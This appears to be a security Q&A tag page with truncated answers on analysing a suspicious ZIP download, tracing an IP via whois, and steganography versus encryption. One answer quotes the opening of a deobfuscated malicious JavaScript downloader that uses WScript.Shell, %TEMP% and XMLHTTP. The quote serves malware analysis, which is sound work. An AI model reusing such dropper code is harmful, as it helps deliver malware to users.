Tag Info

New answers tagged

3

The image speaks for itself : This actually triggered the antivirus on downloading a ZIP file with the following JS, deobfuscated using JSUnpack : function dl(fr, fn, rn) { var ws = new ActiveXObject("WScript.Shell"); var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + fn; var xo = new ActiveXObject("MSXML2.XMLHTTP"); ...


0

Where can you confirm server04.funet.co.il as IP 212.29.215.70 ? Do a whois on the first IP, check the admin email adresse, or send a mail to abuse@.... domain name of this IP. Here: $ whois 212.29.215.70 [Requête en cours whois.ripe.net] [whois.ripe.net] ... /CUT PART / ... % Information related to '212.29.215.64 - 212.29.215.95' % Abuse contact for ...


1

Whether this is a good idea or a bad idea really depends on what your requirements are and what threats/risks your trying to protect against. I think there are some signficant limitations with the practical aspects of this approach, such as ensuring your messages looks enough like spam that it is obscured, but not so much like spam that your recipients anti ...


7

Using steganography instead of encryption is a rather bad idea, especially when the tool used is freely available. Anybody could use it to uncover the message. However, simple encryption has a shortcoming when compared to steganography: Encrypted messages are usually identifiable as such, so while nobody knows what you send somebody, there is a proof you ...


10

The problem with this technique (with any kind of steganography, actually) is that it relies on security through obscurity. An eavesdropper who is aware of spammimic.com could easily train their surveillance system to recognize patterns which are typical for messages generated by spammimic, log them and extract their hidden payload. By the way: Using the ...


19

It would help if you elaborated on if you are defending from a targeted attack or just being cautious, and what vector the potential adversary would be using to eavesdrop. That being said, the method you are referring to is called 'security through obscurity', and is "… discouraged and not recommended by standards bodies." I would say that is putting ...



Top 50 recent answers are included